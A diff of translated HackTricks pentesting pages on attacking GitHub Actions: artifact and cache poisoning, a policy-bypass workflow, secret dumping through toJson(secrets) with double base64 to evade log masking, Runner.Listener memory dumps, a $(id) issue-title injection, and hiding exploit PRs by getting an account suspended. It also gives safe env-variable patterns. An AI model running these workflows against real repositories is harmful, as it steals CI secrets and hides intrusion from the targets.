Kao što je pomenuto u [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ova GitHub Action dozvoljava pristup artifacts iz različitih workflow-ova i čak repozitorijuma.
|
||||
|
||||
Problem je u tome što, ako **`path`** parametar nije postavljen, artefakt se ekstrahuje u trenutni direktorijum i može prepisati datoteke koje bi kasnije mogle biti korišćene ili čak izvršene u radnom toku. Stoga, ako je artefakt ranjiv, napadač bi mogao zloupotrebiti ovo da kompromituje druge radne tokove koji veruju artefaktu.
|
||||
Problem je u tome što, ako parametar **`path`** nije postavljen, artifact se ekstrahuje u trenutni direktorijum i može prebrisati fajlove koji bi kasnije mogli biti korišćeni ili čak izvršeni u workflow-u. Dakle, ako je Artifact ranjiv, napadač bi to mogao zloupotrebiti da kompromituje druge workflow-ove koji veruju tom Artifact-u.
|
||||
|
||||
Primer ranjivog radnog toka:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -373,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Ovo bi moglo biti napadnuto ovom radnom procedurom:
|
||||
Ovo se može napasti ovim workflow-om:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -390,35 +393,35 @@ path: ./script.py
|
||||
```
|
||||
---
|
||||
|
||||
## Drugi Spoljni Pristup
|
||||
## Ostali eksterni pristup
|
||||
|
||||
### Otimanje Izbrisanog Namespace Repozitorijuma
|
||||
### Obrisano Namespace Repo Hijacking
|
||||
|
||||
Ako nalog promeni svoje ime, drugi korisnik bi mogao da registruje nalog sa tim imenom nakon nekog vremena. Ako je repozitorijum imao **manje od 100 zvezdica pre promene imena**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repozitorijum sa istim imenom** kao onaj koji je izbrisan.
|
||||
Ako nalog promeni svoje ime, drugi korisnik može nakon nekog vremena registrovati nalog sa tim imenom. Ako je repozitorijum pre promene imao **manje od 100 stars**, Github će omogućiti novom registrovanom korisniku sa istim imenom da kreira **repository sa istim imenom** kao obrisani.
|
||||
|
||||
> [!CAUTION]
|
||||
> Dakle, ako neka akcija koristi repozitorijum sa nepostojećeg naloga, još uvek je moguće da napadač može da kreira taj nalog i kompromituje akciju.
|
||||
> Dakle, ako action koristi repo iz nepostojećeg naloga, i dalje je moguće da attacker kreira taj nalog i compromise action.
|
||||
|
||||
Ako su drugi repozitorijumi koristili **zavisnosti iz repozitorijuma ovog korisnika**, napadač će moći da ih otme. Ovde imate potpunije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Ako drugi repos koriste **dependencies from this user repos**, attacker će moći da ih hijackuje. Ovde imate detaljnije objašnjenje: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> U ovom odeljku ćemo govoriti o tehnikama koje bi omogućile **pivotiranje sa jednog repozitorijuma na drugi** pod pretpostavkom da imamo neku vrstu pristupa prvom (proverite prethodni odeljak).
|
||||
> U ovom odeljku govorićemo o tehnikama koje bi omogućile da **pivot from one repo to another** pod pretpostavkom da imamo neki pristup prvom (pogledajte prethodni odeljak).
|
||||
|
||||
### Trovanje Kešom
|
||||
### Cache Poisoning
|
||||
|
||||
Keš se održava između **izvršavanja radnih tokova u istoj grani**. Što znači da ako napadač **kompromituje** **paket** koji se zatim čuva u kešu i **preuzima** i izvršava ga **privilegovaniji** radni tok, on će moći da **kompromituje** i taj radni tok.
|
||||
Cache se održava između **wokflow runs in the same branch**. To znači da ako attacker **compromise** paket koji se potom skladišti u cache i bude **downloaded** i izvršen od strane **more privileged** workflow, on će moći i da **compromise** i taj workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Trovanje Artefaktima
|
||||
### Artifact Poisoning
|
||||
|
||||
Radni tokovi mogu koristiti **artefakte iz drugih radnih tokova i čak repozitorijuma**, ako napadač uspe da **kompromituje** Github Akciju koja **otprema artefakt** koji se kasnije koristi od strane drugog radnog toka, on bi mogao da **kompromituje druge radne tokove**:
|
||||
Workflows mogu koristiti **artifacts from other workflows and even repos**; ako attacker uspe da **compromise** Github Action koja **uploads an artifact** koja se kasnije koristi u drugom workflow-u, on bi mogao **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Eksploatacija iz Akcije
|
||||
## Post Exploitation from an Action
|
||||
|
||||
### Pristupanje AWS i GCP putem OIDC
|
||||
### Github Action Policies Bypass
|
||||
|
||||
Proverite sledeće stranice:
|
||||
Kao što je objašnjeno u [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), čak i ako repozitorijum ili organizacija ima politiku koja ograničava upotrebu određenih actions, attacker može jednostavno da download-uje (`git clone`) action unutar workflow-a i potom ga referencira kao local action. Pošto politike ne utiču na lokalne puteve, **the action will be executed without any restriction.**
|
||||
|
||||
Primer:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
test:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: |
|
||||
mkdir -p ./tmp
|
||||
git clone https://github.com/actions/checkout.git ./tmp/checkout
|
||||
|
||||
- uses: ./tmp/checkout
|
||||
with:
|
||||
repository: woodruffw/gha-hazmat
|
||||
path: gha-hazmat
|
||||
|
||||
- run: ls && pwd
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### Pristup AWS i GCP preko OIDC
|
||||
|
||||
Pogledajte sledeće stranice:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -440,15 +468,15 @@ Proverite sledeće stranice:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Pristupanje tajnama <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Pristup secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Ako ubacujete sadržaj u skriptu, zanimljivo je znati kako možete pristupiti tajnama:
|
||||
Ako ubacujete sadržaj u skriptu, interesantno je znati kako možete pristupiti secrets:
|
||||
|
||||
- Ako je tajna ili token postavljen na **promenljivu okruženja**, može se direktno pristupiti kroz okruženje koristeći **`printenv`**.
|
||||
- Ako je secret ili token postavljen kao **environment variable**, njima se može direktno pristupiti kroz okruženje koristeći **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lista tajni u izlazu Github Akcije</summary>
|
||||
<summary>Ispis secrets u Github Action output</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dobijanje reverzne ljuske sa tajnama</summary>
|
||||
<summary>Dobijte reverse shell pomoću secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- Ako se tajna koristi **direktno u izrazu**, generisani shell skript se čuva **na disku** i može se pristupiti.
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Za JavaScript akcije, tajne se šalju kroz promenljive okruženja.
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Za **prilagođenu akciju**, rizik može varirati u zavisnosti od toga kako program koristi tajnu koju je dobio iz **argumenta**:
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -514,23 +542,47 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Zloupotreba samostalno hostovanih izvršilaca
|
||||
- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
|
||||
|
||||
Način da se pronađe koje **Github akcije se izvršavaju u ne-github infrastrukturi** je pretraga za **`runs-on: self-hosted`** u konfiguraciji yaml za Github akcije.
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
on:
|
||||
push:
|
||||
branches: [ attacker-branch ]
|
||||
jobs:
|
||||
dump:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Double-base64 the secrets context
|
||||
run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
**Samostalno hostovani** izvršioci mogu imati pristup **dodatnim osetljivim informacijama**, drugim **mrežnim sistemima** (ranjivi krajnji tački u mreži? usluga metapodataka?) ili, čak i ako je izolovan i uništen, **više od jedne akcije može biti pokrenuto u isto vreme** i zlonamerna može **ukrasti tajne** od druge.
|
||||
Decode locally:
|
||||
|
||||
U samostalno hostovanim izvršiocima takođe je moguće dobiti **tajne iz \_Runner.Listener**\_\*\* procesa\*\* koji će sadržati sve tajne radnih tokova u bilo kojoj fazi dumpovanjem svoje memorije:
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Proverite [**ovaj post za više informacija**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Pogledajte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Images Registry
|
||||
### Github Docker Images Registar
|
||||
|
||||
Moguće je napraviti Github akcije koje će **izgraditi i sačuvati Docker sliku unutar Github-a**.\
|
||||
Primer se može naći u sledećem proširivom:
|
||||
Moguće je napraviti Github actions koji će **izgraditi i sačuvati Docker image unutar Github-a**.\
|
||||
Primer se može naći u sledećem proširivom bloku:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -565,14 +617,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Kao što ste mogli videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
|
||||
Kao što možete videti u prethodnom kodu, Github registry je hostovan na **`ghcr.io`**.
|
||||
|
||||
Korisnik sa dozvolama za čitanje nad repozitorijumom će moći da preuzme Docker sliku koristeći lični pristupni token:
|
||||
Korisnik sa dozvolama za čitanje nad repozitorijumom moći će da preuzme Docker Image koristeći personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Zatim, korisnik može da traži **procurene tajne u slojevima Docker slike:**
|
||||
Zatim, korisnik može pretražiti za **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -580,15 +632,17 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### Osetljive informacije u Github Actions logovima
|
||||
|
||||
Čak i ako **Github** pokušava da **otkrije tajne vrednosti** u logovima akcija i **izbegne da ih prikaže**, **dati osetljivi podaci** koji su mogli biti generisani tokom izvršenja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Čak i ako **Github** pokuša **detektovati secret values** u logovima akcija i **sprečiti njihovo prikazivanje**, **drugi osetljivi podaci** koji su mogli biti generisani tokom izvršavanja akcije neće biti sakriveni. Na primer, JWT potpisan tajnom vrednošću neće biti sakriven osim ako nije [specifično konfigurisano](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Sakrivanje tragova
|
||||
|
||||
(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji je podnet je jasno vidljiv javnosti na Github-u i ciljanom GitHub nalogu. Na GitHub-u po defaultu, **ne možemo obrisati PR sa interneta**, ali postoji caka. Za GitHub naloge koji su **suspendovani** od strane GitHub-a, svi njihovi **PR-ovi se automatski brišu** i uklanjaju sa interneta. Dakle, da biste sakrili svoju aktivnost, potrebno je da ili dobijete **suspendovan GitHub nalog ili da vam nalog bude označen**. Ovo bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR-ove)
|
||||
|
||||
Organizacija na GitHub-u je veoma proaktivna u izveštavanju naloga GitHub-u. Sve što treba da uradite je da podelite "neke stvari" u Issue i oni će se pobrinuti da vaš nalog bude suspendovan za 12 sati :p i eto, učinili ste svoj exploit nevidljivim na github-u.
|
||||
(Tehnika iz [**ovde**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prvo, svaki PR koji se podigne je jasno vidljiv javnosti na Github i ciljnom GitHub nalogu. Na GitHub-u po defaultu, mi **ne možemo izbrisati PR sa interneta**, ali postoji trik. Za Github naloge koji su **suspendovani** od strane Github-a, svi njihovi **PRs are automatically deleted** i uklanjaju se sa interneta. Dakle, da biste sakrili svoju aktivnost morate ili da vam se **GitHub account suspenduje ili da vam nalog bude flagged**. To bi **sakrilo sve vaše aktivnosti** na GitHub-u sa interneta (u suštini uklonilo sve vaše exploit PR)
|
||||
|
||||
> [!WARNING]
|
||||
> Jedini način na koji organizacija može da sazna da su bili meta je da proveri GitHub logove iz SIEM-a, jer bi iz GitHub UI PR bio uklonjen.
|
||||
> Jedini način da organizacija otkrije da je bila meta je da pregleda GitHub logove iz SIEM-a jer će iz GitHub UI PR biti uklonjen.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,3 +1,96 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Razumevanje rizika
|
||||
|
||||
GitHub Actions renderuje izraze ${{ ... }} pre nego što se korak izvrši. Renderovana vrednost se zalepi u program koraka (za run korake, shell skripta). Ako interpolirate nepouzdani ulaz direktno unutar run:, napadač kontroliše deo shell programa i može izvršavati proizvoljne komande.
|
||||
|
||||
Dokumentacija: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions i contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Ključne tačke:
|
||||
- Renderovanje se događa pre izvršenja. Run skripta se generiše sa svim razrešenim izrazima, pa se potom izvršava kroz shell.
|
||||
- Mnogi contexts sadrže polja koja korisnik kontroliše u zavisnosti od događaja koji pokreće workflow (issues, PRs, comments, discussions, forks, stars, itd.). Pogledajte referencu za untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting unutar run: nije pouzdana odbrana, jer se injekcija dešava u fazi renderovanja templata. Napadači mogu probiti navodnike ili ubaciti operatore putem specijalno oblikovanog ulaza.
|
||||
|
||||
## Ranljiv obrazac → RCE na runneru
|
||||
|
||||
Ranljiv workflow (pokreće se kada neko otvori novi issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
issues:
|
||||
types: [opened]
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
issues: write
|
||||
steps:
|
||||
- name: New issue
|
||||
run: |
|
||||
echo "New issue ${{ github.event.issue.title }} created"
|
||||
- name: Add "new" label to issue
|
||||
uses: actions-ecosystem/action-add-labels@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Ako napadač otvori issue naslovljen $(id), renderovani step postaje:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
Command substitution izvršava id na runneru. Primer izlaza:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Zašto citiranje ne štiti:
|
||||
- Izrazi se prvo evaluiraju, a zatim se izvršava dobijeni skript. Ako nepouzdana vrednost sadrži $(...), `;`, `"`/`'`, ili novi redovi, može izmeniti strukturu programa uprkos vašem citiranju.
|
||||
|
||||
## Siguran obrazac (shell variables via env)
|
||||
|
||||
Ispravno rešenje: kopirajte nepouzdani unos u environment variable, zatim koristite native shell expansion ($VAR) u run skripti. Ne ponovo ugrađujte sa ${{ ... }} unutar komande.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: New issue
|
||||
env:
|
||||
TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Površine koje korisnik može pokrenuti (smatrati nepouzdanim)
|
||||
|
||||
Nalozi koji imaju samo dozvolu za čitanje na javnim repozitorijumima i dalje mogu pokrenuti mnogo događaja. Svako polje u kontekstima izvedenim iz ovih događaja treba smatrati pod kontrolom napadača osim ako se ne dokaže suprotno. Primeri:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs mogu ograničiti discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (opasno ako se pogrešno koristi, pokreće se u kontekstu base repo)
|
||||
- fork (bilo ko može fork-ovati javne repozitorijume)
|
||||
- watch (starring a repo)
|
||||
- Indirektno preko workflow_run/workflow_call lanaca
|
||||
|
||||
Koja tačno polja su pod kontrolom napadača zavisi od događaja. Pogledajte GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Praktični saveti
|
||||
|
||||
- Smanjite korišćenje expressions unutar run:. Preferirajte env: mapiranje + $VAR.
|
||||
- Ako morate transformisati ulaz, uradite to u shellu koristeći bezbedne alate (printf %q, jq -r, itd.), i dalje polazeći od shell promenljive.
|
||||
- Budite posebno oprezni pri interpolaciji imena grana, naslova PR-a, korisničkih imena, labela, naslova diskusija i PR head refs u skripte, argumente komandne linije ili putanje fajlova.
|
||||
- Za reusable workflows i composite actions primenite isti obrazac: mapirajte u env pa referencirajte $VAR.
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
|
||||
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,156 +1,156 @@
|
||||
# Osnovne informacije o Github-u
|
||||
# Osnovne informacije o Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovna struktura
|
||||
## Basic Structure
|
||||
|
||||
Osnovna struktura github okruženja velike **kompanije** je da poseduje **preduzeće** koje poseduje **several organizacija** i svaka od njih može sadržati **several repozitorijuma** i **several timova**. Manje kompanije mogu samo **posedovati jednu organizaciju i bez preduzeća**.
|
||||
Osnovna struktura Github okruženja velike **kompanije** je da poseduje jedno **enterprise** koje poseduje **nekoliko organizations** i svaka od njih može sadržati **nekoliko repositories** i **nekoliko teams.** Manje kompanije mogu imati samo **jednu organization i bez enterprises**.
|
||||
|
||||
Sa tačke gledišta korisnika, **korisnik** može biti **član** **različitih preduzeća i organizacija**. Unutar njih korisnik može imati **različite uloge u preduzeću, organizaciji i repozitorijumu**.
|
||||
Iz ugla korisnika, jedan **user** može biti **member** različitih enterprises i organizations. Unutar njih korisnik može imati **različite enterprise, organization i repository role**.
|
||||
|
||||
Štaviše, korisnik može biti **deo različitih timova** sa različitim ulogama u preduzeću, organizaciji ili repozitorijumu.
|
||||
Pored toga, korisnik može biti **deo različitih teams** sa različitim enterprise, organization ili repository rolama.
|
||||
|
||||
I konačno, **repozitorijumi mogu imati posebne mehanizme zaštite**.
|
||||
I na kraju, **repositories mogu imati specijalne mehanizme zaštite**.
|
||||
|
||||
## Privilegije
|
||||
## Privileges
|
||||
|
||||
### Uloge u preduzeću
|
||||
### Enterprise Roles
|
||||
|
||||
- **Vlasnik preduzeća**: Osobe sa ovom ulogom mogu **upravljati administratorima, upravljati organizacijama unutar preduzeća, upravljati postavkama preduzeća, sprovoditi politiku širom organizacija**. Međutim, **ne mogu pristupiti postavkama organizacije ili sadržaju** osim ako nisu postavljeni za vlasnika organizacije ili im nije dat direktan pristup repozitorijumu koji poseduje organizacija.
|
||||
- **Članovi preduzeća**: Članovi organizacija koje poseduje vaše preduzeće su takođe **automatski članovi preduzeća**.
|
||||
- **Enterprise owner**: Osobe sa ovom ulogom mogu **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Međutim, oni **ne mogu pristupiti organization settings ili content** osim ako nisu postavljeni kao organization owner ili im nije dat direktan pristup repository u vlasništvu organization.
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
|
||||
### Uloge u organizaciji
|
||||
### Organization Roles
|
||||
|
||||
U organizaciji korisnici mogu imati različite uloge:
|
||||
U jednoj organization korisnici mogu imati različite uloge:
|
||||
|
||||
- **Vlasnici organizacije**: Vlasnici organizacije imaju **potpun pristup administraciji vaše organizacije**. Ova uloga bi trebala biti ograničena, ali ne na manje od dve osobe, u vašoj organizaciji.
|
||||
- **Članovi organizacije**: **Podrazumevana**, ne-administrativna uloga za **ljude u organizaciji** je član organizacije. Po defaultu, članovi organizacije **imaju određeni broj dozvola**.
|
||||
- **Menadžeri naplate**: Menadžeri naplate su korisnici koji mogu **upravljati postavkama naplate za vašu organizaciju**, kao što su informacije o plaćanju.
|
||||
- **Menadžeri bezbednosti**: To je uloga koju vlasnici organizacije mogu dodeliti bilo kojem timu u organizaciji. Kada se primeni, daje svakom članu tima dozvole da **upravljaju bezbednosnim upozorenjima i postavkama širom vaše organizacije, kao i dozvole za čitanje za sve repozitorijume** u organizaciji.
|
||||
- Ako vaša organizacija ima tim za bezbednost, možete koristiti ulogu menadžera bezbednosti da članovima tima date minimalan pristup koji im je potreban za organizaciju.
|
||||
- **Menadžeri Github aplikacija**: Da bi omogućili dodatnim korisnicima da **upravljaju GitHub aplikacijama koje poseduje organizacija**, vlasnik može dodeliti dozvole menadžera GitHub aplikacija.
|
||||
- **Spoljni saradnici**: Spoljni saradnik je osoba koja ima **pristup jednom ili više repozitorijuma organizacije, ali nije eksplicitno član** organizacije.
|
||||
- **Organization owners**: Organization owners imaju **complete administrative access to your organization**. Ovu ulogu treba ograničiti, ali ne na manje od dve osobe u vašoj organization.
|
||||
- **Organization members**: **Default**, ne-administrativna uloga za **ljude u organization** je organization member. Po default-u, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers su korisnici koji mogu **manage the billing settings for your organization**, kao što su informacije o plaćanju.
|
||||
- **Security Managers**: Ovo je uloga koju organization owners mogu dodeliti bilo kojem timu u organization. Kada se primeni, daje svakom članu tima dozvole da **manage security alerts and settings across your organization, as well as read permissions for all repositories** u organization.
|
||||
- Ako vaša organization ima security team, možete koristiti security manager ulogu da članovima tima date najmanje privilegije koje su im potrebne u organization.
|
||||
- **Github App managers**: Da bi dodatni korisnici mogli **manage GitHub Apps owned by an organization**, owner im može dodeliti Github App manager permissions.
|
||||
- **Outside collaborators**: Outside collaborator je osoba koja ima **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
|
||||
Možete **uporediti dozvole** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Možete **compare the permissions** ovih uloga u ovoj tabeli: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Privilegije članova
|
||||
### Members Privileges
|
||||
|
||||
Na _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **dozvole koje korisnici imaju samo zato što su deo organizacije**.
|
||||
U _https://github.com/organizations/\<org_name>/settings/member_privileges_ možete videti **permissions koje korisnici imaju samo zato što su deo organization**.
|
||||
|
||||
Postavke ovde konfigurirane će ukazivati na sledeće dozvole članova organizacije:
|
||||
Podešavanja ovde će odrediti sledeće dozvole članova organization:
|
||||
|
||||
- Biti administrator, pisac, čitalac ili bez dozvole nad svim repozitorijumima organizacije.
|
||||
- Ako članovi mogu kreirati privatne, interne ili javne repozitorijume.
|
||||
- Ako je moguće fork-ovati repozitorijume.
|
||||
- Ako je moguće pozvati spoljne saradnike.
|
||||
- Ako se mogu objaviti javne ili privatne stranice.
|
||||
- Dozvole koje administratori imaju nad repozitorijumima.
|
||||
- Ako članovi mogu kreirati nove timove.
|
||||
- Biti admin, writer, reader ili bez dozvole nad svim organization repos.
|
||||
- Da li članovi mogu kreirati private, internal ili public repositories.
|
||||
- Da li je forking repositories moguć
|
||||
- Da li je moguće pozivati outside collaborators
|
||||
- Da li se public ili private sites mogu objavljivati
|
||||
- Dozvole koje admins imaju nad repositories
|
||||
- Da li članovi mogu kreirati nove teams
|
||||
|
||||
### Uloge u repozitorijumu
|
||||
### Repository Roles
|
||||
|
||||
Po defaultu, uloge u repozitorijumu su kreirane:
|
||||
Po default-u repository role su kreirane:
|
||||
|
||||
- **Čitanje**: Preporučuje se za **ne-kodere** koji žele da pregledaju ili diskutuju o vašem projektu.
|
||||
- **Triage**: Preporučuje se za **kontributore koji treba proaktivno da upravljaju problemima i pull zahtevima** bez pristupa pisanju.
|
||||
- **Pisanje**: Preporučuje se za kontributore koji **aktivno doprinose vašem projektu**.
|
||||
- **Održavanje**: Preporučuje se za **menadžere projekata koji treba da upravljaju repozitorijumom** bez pristupa osetljivim ili destruktivnim radnjama.
|
||||
- **Administrator**: Preporučuje se za ljude koji trebaju **potpun pristup projektu**, uključujući osetljive i destruktivne radnje kao što su upravljanje bezbednošću ili brisanje repozitorijuma.
|
||||
- **Read**: Preporučeno za **non-code contributors** koji žele da pregledaju ili diskutuju projekat
|
||||
- **Triage**: Preporučeno za **contributors koji treba da proaktivno upravljaju issues i pull requests** bez write pristupa
|
||||
- **Write**: Preporučeno za contributors koji **aktivno push-uju u projekt**
|
||||
- **Maintain**: Preporučeno za **project managers koji treba da upravljaju repository** bez pristupa osetljivim ili destruktivnim akcijama
|
||||
- **Admin**: Preporučeno za ljude kojima treba **full access to the project**, uključujući osetljive i destruktivne akcije kao što su upravljanje bezbednošću ili brisanje repository
|
||||
|
||||
Možete **uporediti dozvole** svake uloge u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Možete **compare the permissions** svake role u ovoj tabeli [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Takođe možete **kreirati svoje uloge** na _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Takođe možete **create your own roles** u _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Timovi
|
||||
### Teams
|
||||
|
||||
